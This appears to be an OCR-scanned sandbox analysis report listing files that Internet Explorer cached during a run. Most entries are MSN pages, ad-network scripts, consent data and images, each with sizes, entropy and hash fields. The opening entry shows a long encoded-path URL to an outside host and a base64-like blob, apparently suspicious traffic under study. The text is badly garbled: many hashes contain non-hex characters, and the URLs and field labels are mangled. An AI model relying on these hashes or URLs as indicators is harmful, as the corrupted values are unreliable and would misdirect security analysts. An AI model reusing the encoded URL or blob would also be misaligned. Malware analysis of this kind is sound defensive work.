ASCII text, with very long lines, with no line terminators

downloaded

270440

5.999927116066864

false

6144:Y+0C7j10Hxua032a5uF6e/jwm+JIBJIk18h++0s7c2Wq/:YQ90c35663Xxb157cl/

E924EC561FB47C3C0077569F989E9945

7B779431CDFB4199AB382029420C49A8E7145CBD

620F9E87417B9B64CICASD8C86EADCE8BE4EFBCD4F829857AA3E88CBCF8FFCEA
61258962ADD49591F56ADE96442EF93067AB937903798757CE620AE1B6A7EOSFCB4703A3CC25764A71963BC848E9924B20631A88511E48FO0CI3BF24AA079941A
false

http:/f
apil0.laptok.at/apil/_2FdDLxiS/WGKmX1atNVWHXUCzdG8J/YXsTWM_2FhCnr7eTBeb/CqzmyNP6L4p0TKz6hJSAOp/EVmM7LSru5RIN7/R3LRPhOs/N1MeBTFtHS9yRQ9I

gLi_2B0/Xv3103JXJIn/5SRDWiXyGXXw_2B48v/Bn4MZSvk3K_2/FR_2BMnjaNV/ba9dKsrWc70pwt/DTOZilRktoMLB5X4VmjzW/q5zgF4LmzRrgKYzr/JnS7KhdMCD4PTt2/Znn
_2FZbkdGdkZsLPa/EqC1aT3Se/sU1FyYCjIQPDDxUFellF/dEZc5CidmxNuQQbK7SZ/rdgzVmhDXHEM50FHIMuRad/iulOOUoXWDG2R/FNY

Mh76sSvSPOqc78MwlcXKmfvRxMwaaWEKesIJW7t3AmxNSv6lyFLsUY4n8316Yoab2uwOf2DkFEA20NBf2B/PINWOFGgZF1zakBvAAiOohIBorvfHvUOrEOMTz
KZ16eVDmMHbEQVaVPC4JsjuGfON7E+9nHMyKQy+eomLvg8xg7jOLLutl9wiglWRzIFsmqwKpy+Jx9CmX6prDnV+YbPCPCzDGpelOViLBndJ5aTmSzWtf9aozM
C9nrgnDUx4Jal2aZHw96rQjFCZxnto2efGDVoGagL1Qb4es8tZyBB98MgaOkN3gT5988hQ+TylRyO5K4IVE2vU6ZAQDWQS7QTAWCcVobl/1/Fox/23pZzLEIOLVJI/WfeqCt
GDEE4bg8MFrEqWgAnzbegJAbvubaYyD+0+Zcl/QheXkuMWbgBVzsn7YJZI11v+XPwuTsUH5WeJvTk+FAdawWNtrMIftd/5E8XgzDC/GoU1RPapJvOBn4UQnv
updMy8aUXPwNvTIZyncvCelkr6420wIShxBVKfmC/p4ACKUGM/0Yv46mRy3vivWoM+DtcTTZOTd6ul32X/2ZWZzW1PC1xjLulj+8pSGzgC9qGzoy5mXqlJr731LoMV/sc6V
vm+ZvYN4Rd7G2gqgEK/DM4x+8pRx6WIgFvZLKEfpINRz28ySvazZWWxtjhFImVW+2mpNjMQF5be5jSkmr2L6IGNu+780K4UJeiStDfPCA+xYYEXw9+flw3506
XmsmSNuR3mzI8LKK/WAOyo/qlpQbX1D1EMIdW515W1AY8WWNEINERi20tZ2LWGX0anUNIUxeO9PP6EPypAKVYJBCKE2JjgkpTOgeevihmgtanzqUQxFa66tcE
kAxsRnwObim30bpVGch3Sq3RpEiLvbZAO8UBTrtlcqyiuJgmDTq+L/EZpdrTlioUAum9ZI0hnte CIUF+35rXjTsfnkl7axJeycpBVo3+yFRHLOp1Jwc+dmTYtID1/fd48Q
/Z0cmd511h

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\B87Z87FM\auction[1].htm

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:
SHA-512:
Malicious:

|IE Cache URL:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

HTML document, ASCI!I text, with very long lines

downloaded

17548

5.67901042601246

false

384:npiYfoR3p1lYoBIPXul93rxF4wHYEnoZclUalL8Y2S700p:n/gL7t94EWSo0
7C180C5DDF73B8A1CF56E9422703B3D3
3AD39BEED9B67720F202F6C0C459170E821E1437
FA1F3921E43765D9CF8613C0OC55F876FEAL1DOB7E4C2D68BA7D66EBF73A6E07D
91A0F531D8A0D65F5A97552B8F0C655A490182C434ECI6E37875F3A7EC12F628900967177E463386CD7FB4B39C450BCEFAA7833D0ES372C803B4EEBEASDOFC4:
false

hitp://https://srtb.msn.com/auction?a=de-ch&b=9bc54e2210424216a69f0a43ebf97870&c=MSN&d=https%3A%2F%2Fwww.msn.com%2Fde-
ch%2F%3Focid%3Diehp&e=HP&f=0&g=homepage&h=&j=0&k=0&|=&m=0&n=infopane%7C3%2C11%2C15&0=&p=init&q=&r=&s=1&t=&U=0&v=08&x=&w=& _=161346585
8196

.<script id="sam-metadata" type="text/html" data-json="{&quot;optout&quot;:{&quot;msaOptOut&quot;:false,&quot;browserOptOut&quot;:false} &quot;taboola&quot;:{&q
uot;sessionld&quot;:&quot;v2_h9e650f69e775ee2274812c83c916691_771228da-3678-4d18-8294-ad1e927162f1-tuct7248ff7_1613433463_1613433463_Cli3jgY
Qrdc_GNif5YvI8tuIBSABKAEWKziyOALAOIgQSN7Y2QNQ AVgAYABoopygvanCqcmOAQ&quot;},&quot;tbsessionid&quot;:&quot;v2_h9e650f69e
775ee2274812c83c916691_771228da-3678-4d18-8294-ad1e927162f1-tuct7248ff7_1613433463_1613433463_Cli3jgYQrdc_GNif5YVI8tuIBSABKAEWKziyOA1AOIgQSN
7Y20NQ AVgAYABoopygvanCqcmOAQ&quot;,&quot;pageViewld&quot;:&quot;9bc54e2210424216a69f0a43ebf97870&quot;,&quot;RequestLevelBeaconU
rls&quot;:[]}">.</script>.<li class="triptych serversidenativead hasimage " data-json="{&quot;tvb&quot;:[],&quot;trb&quot;:[],&quot;tjp&quot;:[],&quot;p&quot;:&quot;taboo
la&quot;,&quot;e&quot;:true}" data-provider="taboola" data-ad-region="infopane" data-ad-index="3" data-viewability="">.<

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\B87Z87FM\checksync[1].htm

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Copyright null 2021

C:\Program Files (x86)\Internet Explorer\iexplore.exe

HTML document, ASCI!I text, with very long lines

dropped

20808

5.301767642140402

false
384:RgAGcVXIblcgnzleZSug2f5vzBgF30Z0sQWwY4RXrqt:+86ghbz2RmF30ssQWwY4RXrqt
97A17EFCA6ECAE418CACBBF6AE41B0B1
31235CDB60298018C1COD1EFE712FF3281A7B29B
00FFE70B03F4DF3A0D653D15DF9DB3D4451AD931953B44F9541DD59D8538FD90

DA7EE38B51F31BDA399E68ACIDECA7532C846C7BF466E94F40CB7C6382F1A64F0567A3BCE85D12E1F37F84F4765FF703405309E6A545FE8D482BOEFEAAEQES?
5

false
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C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\B87Z87FM\checksync[1].htm

Preview:

<html> <head></head> <body> <script type="text/javascript">try{.var cookieSyncConfig = {"datalen":75,"visitor":{"vsCk":"visitor-id","vsDaCk":"data","sepVal":"|","sepTime"
" "sepCs":"~~","vsDaTime":31536000,"cc":"CH","zone":"d"},"cs":"1","lookup":{"g":{"name":"g","cookie":"data-g","isBI":1,"g":1,"cocs":0},"vzn":{"name":"vzn","cookie":"data-
V", "isBI":1,"g"0,"cocs":0},"brx":{"name":"brx","cookie":"data-br","isBI":1,"g": : ‘cookie":"data-Ir","isBI":1,"g":1,"cocs":0}},"hasSameSiteSupport":"
0","batch™{"gGroups":["apx","csm","ppt","rbcn","son","bdt","con","opx","tIx’ s","sov" r1","g","pb","dxu","rkt","trx","wds","crt","ayl","bs","ui","shr","lvr","y
Id","msn","zem","dmx","pm","som","adb","tdd","soc","adp","vm","spx","nat","ob","adt","got","mf","emx","sy","Ir","ttd"],"bSize":2,"time":30000, "ngGroups":[]},"log":{"succe

ssLper":10,"failLper":10,"logUrl":{"cl":"https:\/Vhblg.media.netVlog?logid=kfk&evtid=chlog"}},"csloggerUrl":"https:V\Vcslogger.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\B87Z87FM\checksync[2].htm

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

HTML document, ASCII text, with very long lines

dropped

20808

5.301767642140402

false
384:RgAGcVXIblegnzleZSug2f5vzBgF30Z0sQWwY4RXrqt:+86ghbz2RmF30ssQWwY4RXrqt
97A17EFCA6ECAE418CACBBF6AE41B0B1
31235CDB60298018C1COD1EFE712FF3281A7B29B
00FFE70B03F4DF3A0D653D15DF9DB3D4451AD931953B44F9541DD59D8538FD90

DA7EE38B51F31BDA399E68ACIDECA7532C846C7BF466E94F40CB7C6382F1A64F0567A3BCE85D12E1F37F84F4765FF703405309E6A545FE8D482BOEFEAAEQES?
5

false
<html> <head></head> <body> <script type="text/javascript">try{.var cookieSyncConfig = {"datalen":75,"visitor":{"vsCk":"visitor-id","vsDaCk":"data","sepVal":"|","sepTime"
" "sepCs "vsDaTime":31536000,"cc":"CH","zone":"d"},"cs' ookup™:{"g":{"nam cookie":"data-g' g":1,"cocs™0},"vzn":{"name":"vzn","cookie":"data-

V" "isBI":1,"g"0,"cocs":0},"brx":{"name":"brx","cookie":"data-br","isBI":1,"g":0,"cocs":0},"Ir":{"name":"Ir","cookie":"data-Ir","isBI":1,"g":1,"cocs":0}},"hasSameSite Support":"
0","batch™:{"gGroups":["apx","csm","| 'elx”,"ys", "sov","fb","r1","g","pb", "dxu", "rkt","trx","wds","crt","ayl","bs","ui","shr","lvr","y
Id","msn","zem","dmx","pm","som","adb","tdd","soc","adp","vm","spx","nat","ob","adt","got","mf","emx","sy","Ir","ttd"],"bSize":2,"time":30000, "ngGroups":[]},"log":{"succe

ssLper":10,"failLper":10,"logUrl":{"cl":"https:\/Vhblg.media.netVlog?logid=kfk&evtid=chlog"}},"csloggerUrl":"https:\\Vcslogger.

ppt","rben”,"son”,"bdt","con”,"opx", "tIx","mma’

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCachel\lE\B87Z87FM\de-ch[1].json

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

|IE Cache URL:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

UTF-8 Unicode text, with very long lines, with no line terminators

downloaded

76785

5.343242780960818

false
768:0lAy9Xsiltnuy5zIux1whjCU7kJB1C54AYtiQzNEJEWICFPQtihPxVUYUEJOYAtF:olLEJxa4CmdiuWloltilwYm7B
DBACAF93F0795EB6276D58CC311C1E8F

4667F15EAB575E663D1E70COD14FE2163A84981D
51D30486C1FE33A38A654C31EDB529A36338FBDFA53D9F238DCCB24FF42F75AF

CFC1986EF5C82A9EA3DCD22460351DA10CF17BA6CDC1EE8014AAABE2A255C66BB840BOASCCO1EOEB42EGFES0ECOE2514A679EA960C827D7C8CIF891E55908
87

false

hitp://https://www.msn.com/_h/e012d846/webcore/externalscripts/oneTrustV2/consent/55a804ab-e5c6-4b97-9319-86263d365d28/6f0cca92-2dda-4588-a757-
0e009f333603/de-ch.json

{"DomainData":{"pclifeSpanYr":"Year","pclifeSpanYrs":"Years","pclifeSpanSecs":"A few seconds","pclifeSpanWk":"Week","pclifeSpanWks":"Weeks","cctld":"55a804ab-e5
c6-4b97-9319-86263d365d28","MainText":"lhre Privatsph.re","MainInfoText":"Wir verarbeiten lhre Daten, um Inhalte oder Anzeigen bereitzustellen, und analysieren die
Bereitstellung solcher Inhalte oder Anzeigen, um Erkenntnisse .ber unsere Website zu gewinnen. Wir geben diese Informationen auf der Grundlage einer Einwilligung und
eines berechtigten Interesses an unsere Partner weiter. Sie k.nnen lhr Recht auf Einwilligung oder Widerspruch gegen ein berechtigtes Interesse aus.ben, und zwar auf
der Grundlage eines der folgenden bestimmten Zwecke oder auf Partnerebene .ber den Link unter jedem Zweck. Diese Entscheidungen werden an unsere Anbieter, die
am Transparency and Consent Framework teilnehmen, signalisiert.”,"AboutText":"Weitere Informationen”,"AboutCookiesText":"Ihre Privatsph.re","ConfirmText":"Alle zulas
sen”,"AllowAll

C:\Users\user\AppData\Local\Microsoft\Windows\INetCachel\lE\B87Z87FM\iab2Data[1].json

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

|IE Cache URL:

Copyright null 2021

C:\Program Files (x86)\Internet Explorer\iexplore.exe

UTF-8 Unicode text, with very long lines, with no line terminators

downloaded

230026

5.150044456837813

false
768:13JqIWtk5N1cfkCHGA5btLKWUUSKQIgmPTZ1j5sIbUkjsy Y AAA:I3JqIGk5Med5btLksSKKkPnjNjh4A
6AAAOF3074990A455B222A4D044E2346

6443AF82ED596527261B0F4367A67DD4D1BA855B
1232E273F047113AB950CC141FC73D50640D2352B2ED16B89A1BACO1AB0BEBEC

EDE13CDE1DDEB45CD038042DCC6C1F75664EC259BC44100EB9C36361CFB657A7A661901DFEAD44DF6CEC555406A221970DF10F562AE222226546B7EFCESEG
8D

false

hitp://https://www.msn.com/_h/e012d846/webcore/externalscripts/oneTrustV2/consent/55a804ab-e5c6-4b97-9319-86263d365d28/iab2Data.json
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C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\B87Z87FM\iab2Data[1].json

Preview:

{"gvISpecificationVersion":2,"tcfPolicyVersion":2,"features":{"1":{"descriptionLegal":"Vendors can:\n* Combine data obtained offline with data collected online in support of
one or more Purposes or Special Purposes.”,"id":1,"name":"Match and combine offline data sources","description":"Data from offline data sources can be combined with y
our online activity in support of one or more purposes"},"2":{"descriptionLegal":"Vendors can:\n* Deterministically determine that two or more devices belong to the same
user or household\n* Probabilistically determine that two or more devices belong to the same user or household\n* Actively scan device characteristics for identification for
probabilistic identification if users have allowed vendors to actively scan device characteristics for identification (Special Feature 2)","id":2,"name":"Link different devices

" "description":"Different devices can be determined as belonging to you or your household in support of one or more of purposes."},"3"{"de

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCachel\lE\B87Z87FM\location[1].js

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
|IE Cache URL:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

ASCII text, with no line terminators

downloaded

182

4.685293041881485

false
3:LUfGC48HIHI2RA0E9HQNPKIfQ8ISCMNRMRU8BX4RIiP22/90+apWyRHfHO:nCf4R5EIWpKWjVRMmhLP2savVO
CAF67A4EFC37372559CD375AA74454A3

2B7303240D7CBEF2B7B9F3D22D306CC04CBFBES6
C72856B40493B0C4A9FC25F80A10DFBF268B23B30A07D18AF4783017F54165DE

1EE4D2C1ED8044128DCDCDB97DC8680886ADOEC06C856F2449B67A6B0BOD7DEOASEA2BBAS4EB405AB129DD0247E605B68DC11CEBGAO74EGCF088A73948AF:
481

false

hitp://https://geolocation.onetrust.com/cookieconsentpub/vl/geo/location

jsonFeed({"country":"CH","state":"ZH","stateName":"Zurich","zipcode":"8152","timezone":"Europe/Zurich","latitude":"47.43000","longitude":"8.57180","city":"Zurich","contin
ent":"EU"});

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\B87Z87FM\nrrV67478[1].js

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
|IE Cache URL:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

ASCII text, with very long lines, with no line terminators

downloaded

88164

5.423101112677061

false
1536:DVNCuukXGsQihGZFu94xdV2E4q35nJyOukWaaCUFP+i/TX6Y+fj4/fhAaTZae:DQiYpdVGetuVLKY+fjwZ
C2DCOFFE06279ECC59ACBC92A443FFD4

C271908D08B13E08BFD5106EE9F4E6487A3CDEC4
51A34C46160A51FBOEAB510A83D06AAIF593C8BEB83099D066924EACAE4160BC

6B9EBB0BD6BC121F4B8E23FC74FD21C81430EE10B39B1EDBDEFF29C04A3116EB12FC2CC633A5FF4C948C16FEF9CD258EOED0743D3D9CBOEE78A253B6F5CBI
05D

false

hitp://https://contextual.media.net/48/nrr\V67478.js

var _mNRequire,_mNDefine;!function(){"use strict";var c={},u={};function a(e){return“function"==typeof e}_mNRequire=function e(t,r){var n,i,o=[];for(i in t)t.hasOwnProper
ty(i)&&("object"I=typeof(n=t[i])&&void 0!==n?(void 0!==c[n]||(c[n]=e(u[n].deps,u[n].callback)),o.push(c[n])):0.push(n));return a(r)?r.apply(this,0):0},_mNDefine=function(e,t,r)
{if(a(t)&&(r=t,t=[]),void 0===(n=e)||""===n||null===n]|(n Object.prototype.toString.call(n))||'a(r))return!1;var n;u[e]={deps:t,callback:r}}}();_mNDefine
("modulefactory”,[],function(){"use strict";var r={},e={},0={},i={},n={},t={},a={};function c(r){var e=!0,0={};try{o=_mNRequire([r])[0]}catch(r){e=!1}return o.isResolved=function()
{return e},o}return r=c("conversionpixelcontroller"),e=c("browserhinter"),o=c("kwdClickTargetModifier"),i=c("hover"),n=c("mraidDelayedLogging"),t=c("macrokeywor
ds"),a=c("tcfdatamanager"),{conversionPixelController:r,browserHinter:e,hover:i,keywordClick TargetModifier:o,mraidDelayedLogging:n,macroKeyw

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\B87Z87FM\otTCF-ie[1].js

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

|IE Cache URL:

Copyright null 2021

C:\Program Files (x86)\Internet Explorer\iexplore.exe

UTF-8 Unicode text, with very long lines, with CRLF line terminators

downloaded

102879

5.311489377663803

false
768:0NKkWTOmM7r8N1gpPVsjvB6z4Y|3RCjnugKtLEdT8XJORONTMC5GkkJOXcIGK58:8kunecpujSQRCjnrkKxJg0TMC5ZW8
52F29FAC6C1D2BOBACBFESDOAA2F7ALS

D66C777DA4B6D1FEE86180B2B45A3954AE7EOAED
E497A9E7A9620236A9A67F77D2CDALCC9615F508A392ECCAS3F63D2C8283DCOE

DF33C49B063AEFD719B47F9335A4A7CE38FA391B2ADF5ACFDOC3FE891ASD0ADDF1C3295E6FF44EEO8E729F96EO0DS26FFD773DC272E57C3B247696B79EE116¢
BA

false

hitp://https://www.msn.com/_h/e012d846/webcore/externalscripts/oneTrustV2/scripttemplates/6.4.0/0tTCF-ie.js
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C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\B87Z87FM\otTCF-ie[1].js

Preview:

Ifunction(){"use strict";var c="undefined"!=typeof window?window:"undefined"!=typeof global?global:"undefined"!=typeof self?self:{};function e(e){return e&&e.__
esModule&&Obiject.prototype.hasOwnProperty.call(e,"default”) ?e.default:e}function t(e,t){return e(t={exports:{}},t.exports),t.exports}unction n(e){return e&&e.Math==Math&
&elfunction p(e){try{return!!e()}catch(e){return!0}}function E(e,t){return{enumerable:!(1&e),configurable:!(2&e),writable:!(4&e),value:t}}function o(e){return w.call(e).slice(8,-
1)Hunction u(e){if(null==e)throw TypeError("Can't call method on "+e);return e}function I(e){return I(u(e))}function f(e){return"object"==typeof e?null!==e:"function"==typeof
elfunction i(e,t){if(!f(e))return e;var n,r;if(t&&"function"==typeof(n=e.toString)&&!f(r=n.call(e)))return r;if("function"==typeof(n=e.valueOf)&&!f(r=n.call(e)))return r;if(!t&
&"function"==typeof(n=e.toString)&&!f(r=n.call(e)))return r;throw TypeError("Can't convert object to primitive value")}function y(e,t){retur

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NUEPGTR9\41-0bee62-68ddb2ab[1].js

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

ASCII text, with very long lines, with no line terminators

dropped

1238

5.066474690445609

false
24:HWwAaHZRRIYfOeXPmMHUKg6GGiqlIQCQ6cQflgKioUInJagzrQJ:HWwAabuYfO8HTqOxB6XfyNoUiJaD
7ADA9104CCDE3FDFB92233C8D389C582

4E5BA29703A7329EC3B63192DE30451272348E0D
F2945E416DDD2A188D0E64D44332F349B56C49AC13036B0B4FCI46A2EBF87D99

2967FBCE4E1C6A69058FDE4C3DC2E269557F7FAD71146F3CCD6FC9085A439B7D067D5D1F8BD2C7EC9124B7E760FBC7F25F30DF21F9B3F61D1443EC3C214E3F
F

false

define("meOffice",["jquery","jqBehavior","mediator","refreshModules","headData","webStorage","window"],function(n,t,i,r,u,f,e){function o(t,0){function v(n){var r=e.local
Storage,i,t,u;if(r&&r.deferLoadedltems)for(i=r.deferLoadedltems.split(","),t=0,u=i.length;t<u;t++)if(i[t] &&i[t].indexOf(n)!==-1){f.removeltem(i[t]);break}}function a(){var i=t.find
("section li time");i.each(function(){var t=new Date(n(this).attr("datetime"));t&&n(this).html(t.toLocaleString())})}unction p(){c=t.find("[data-module-id]").eq(0);c.length&&(h=c.
data("moduleld"),h&&(I="moduleRefreshed-"+h,i.sub(l,a)))}function y(){i.unsub(o.eventName,y);r(s).done(function(){a();p()})}var s,c,h,l;return u.signedin||(t.hasClass("of
fice")?v("meOffice"):t.hasClass("onenote")&&v("meOneNote")),{setup:function(){s=t.find("[data-module-deferred-hover], [data-module-deferred]").not("[data-sso-de
pendent]");s.length&&s.data("module-deferred-hover")&&s.html("<p class="meloading><\V/p>");i.sub(o.eventName,y)} teardown:function(){h&&i.un

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IEINUEPGTR9\BB14EN7h[1].jpg

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

|IE Cache URL:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

JPEG image data, JFIF standard 1.01, resolution (DPI), density 192x192, segment length 16, baseline, precision 8, 622x368, frames 3
downloaded

10663

7.715872615198635

false

192:BpV23EiAqPWo2rhmHI2NF51ZraQ8yES4+e5B0k9F80dgmQzMs:7PiAgnHICF5IVVyxk5BB9tdq3Z
A1ED4EBOC8FE2739CE3CB55E84DBD10F

7A185F8FF5FF1EC11744B44C8D7F8152F03540D5
17917B48CF2575A9EA5F845D8221BFBC2BA2C039B2F3916A3842ECF101758CCB
232AE7AB9D6684CDF47E73FB15B0B87A32628BAEEA97709EA88A24B6594382D1DF957E739E7619EC8E8308D5912C4B896B329940D6947E74DCE7FC75D71C684
false

hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB14EN7h.img?h=368&w=622&m=6&q=60&u=t&o=t&I=f&f=jpg

...... JFIF . e Ces )10) 3:J>36F7,-@WAFLNRSR2>ZaZP JQRO...C.......&..&05-500000000000000000000000000000000
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tuvwxyz. ?..E.(Y...ED.. R.i..dt&.J.l...P.m&. 5 VE..|.}.d...i..gL=x...4.S@..u.4.J.u.....J
u%.FEU..I.*J#4.3@.6...yH...=. .}.#...bx...15...0.... 7TR...."U LXVeen;. 337 L EPE%. . RQ@
.E%...RQ@.E%...RQ@.E%...RQ@.E%...RQ@.E%...RQ@.E%...RQ@.E%—...uE,.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IEINUEPGTR9\BB1cG73h[1].png

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

|IE Cache URL:

Copyright null 2021

C:\Program Files (x86)\Internet Explorer\iexplore.exe

PNG image data, 27 x 27, 8-bit/color RGBA, non-interlaced

downloaded

917

7.682432703483369

false
24:k/6yDLeCoBkQgDWOIlotl9PxlehmoRArmufob/DeyH:k/660WQiWOIul9ekoRkf9b/DH
3867568E0863CDCE85D4BF577C08BA47
F7792C1D038F04D240E7EB2AB59C7E7707A08C95
BE47B3F70A0EA224D24841CB85EAED53A1EFEEFCBI1CI003E3BES55FA834610F
1E0A5D7493692208B765B5638825B8BF1EF3DED3105130B2E9A14BB60E3F1418511FEACFOB3CI0E98473119F121F442A71F96744C485791EF68125CD8350E97D
false

hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB1cG73h.img?h=27&w=27&m=6&q=60&u=t&o=t&|=f&f=png
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C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IEINUEPGTR9\BB1cG73h[1].png

Preview:
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C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IEINUEPGTR9\BB1dHBnn[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, baseline, precision 8, 206x250, frames 3
Category: downloaded

Size (bytes): 6436

Entropy (8bit): 7.914696570266268

Encrypted: false

SSDEEP: 192:xCwek8uaZggX31jWclG0zKWuFgnTgZZVIEpOTNCqc:Uwguah5uGgZrmigc

MDS5: 7316FE4BF8ABB97B47DC405E82C86191

SHA1L: D65110C1810FBOE9BD3B4C5A2B5E3F9047B3A55E

SHA-256: 21B3C5C5CC965197169C967F809D18FDEA661CDDCCAC863596B2E1546F0483DC

SHA-512: 369A74E081C8133DF8CB1FE94B6A1C6DBFA0AE05492D75A439E1A787599E86E451A6CF45049CFEC97F572966BFB5E33D0BD4ASF71CCAE65377C5510859E7F09
Malicious: false

|IE Cache URL: hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB1dHBnn.img?h=250&w=206&m=6&q=60&u=t&o=t&I=f&f=jpg&x=376&y=126

Preview:
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C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IEINUEPGTR9\BB1dHBtr[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 300x300, segment length 16, baseline, precision 8, 206x250, frames 3
Category: downloaded

Size (bytes): 7747

Entropy (8bit): 7.912784694768892

Encrypted: false

SSDEEP: 96:BGAaESUxX2qtvSeeRILN8wFMp7I2L0ifaYs4+BnDfOhYw5gxYVjDX6gfIGpGh5x/:BCnUxGqtvSealO7pol50+IrAYw5cYaGB

MDS5: D92D944BB74BD21D4C93117E667CD354

SHA1L: 75FOAD9DCEF3379E58CF609BE714FF1FF7BEACFE

SHA-256: DC84A25A11D430676E3A5D7A26448F2950696EC4D1ADBADOB507216781BI9E6CS

SHA-512: ODFO1DADOCCBFF1F94491F38227CEBDB06669D1D1A57C92C77D6A9A56C62A47163590C2E226C5174B54D761D847169F0ESF7E4D814BF1695F170765CE4387221
Malicious: false

IE Cache URL:  hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB1dHBtr.img?h=250&w=206&m=6&8q=60&u=t&o=t&I=f&f=jpg

Preview:

...... JFIF...cpeeeCriiie e 1)10.)-,3:3>36F7,-@WAFLNRSR2>ZaZP  JQRO...C.......&..&05-500000000000000000000000000000000
11A..Qa."q.2...#B...R..$3br........ %&()*456789:CDEFGHIJSTUVWXY Zcdefghijstuvwxyz
11..AQ.aq."2...B....#3R..br...$4.%.....&'()*56789: CDEFGHIJSTUVWXY Zcdefghijs
. . (:sI.Z.CIJi.0..N....i..J"1>.E.....C.4g...4...2Lq.Vi...|l. KL.Z..IKM"..u.....h...)(...JZC..-%.P.RR.L
M.w..8..B3@.,.JQHAIKI@..Q.)._Z. u%&h ..... sK@. % % .R.P.QE...M8.gL..C.q.4............ )...M/joJ@\".Z)@...P.RR.3.C"1.r3....9%).E.%-%/z.(....4Pi(.FO..
wn(Teal 4. dm/MiN)sH. ... ZtK...rif. .4

Q@Hi.)..S.(.b

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\IEINUEPGTR9\BB1dHG2q[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 0x0, segment length 16, baseline, precision 8, 206x250, frames 3

Category: downloaded

Size (bytes): 7871

Entropy (8bit): 7.925642446695778

Encrypted: false

SSDEEP: 192:BCse2DfHgfIOVUTgWZTAOWSe|DibY3upHBIOIYMGG9:ksIkDUT3Q33iE3ExIdO

MDS5: 8CE0A532C34806CB8D5F75E7E617B1DF

SHA1L: 3D6462E3FA2622939B99B3917BAB2B08B2079E6F

SHA-256: 4A0634EEA60A9189B2196479A6466AA0DEFFA38A7FI341B7EA039707AF26FB39

SHA-512: 46A616CDBA7A3117BF809D7C63D78B6FF345CI9F4D0747DEC5D69389DC6B150704D77D633E333717B815A798DAF73689A74F6DADBFCADC7E2D32ACCD9B81ES:
D

Malicious: false

IE Cache URL:  hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB1dHG2¢.img?h=250&w=206&m=6&0=60&u=t&0=t&I=f&f=jpg
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C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\IEINUEPGTR9\BB1dHG2q[1].jpg

Preview:
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C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\IE\NUEPGTR9\BB1dHGKk5[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, baseline, precision 8, 206x250, frames 3
Category: downloaded

Size (bytes): 4407

Entropy (8bit): 7.770640540434376

Encrypted: false

SSDEEP: 96:xGAaEgA|I7etObapitjpFJeplghSKrjb+JvtcLDzjz5GTV3IBLf:ixCVAEYytOOpKOPKrjOvanzPgV1BL

MDS5: 50FC998188EE12F9C27D1F3EEF922A%A

SHA1L: F4ABD061A269AA56CD966026763B4DC29AE7A3120

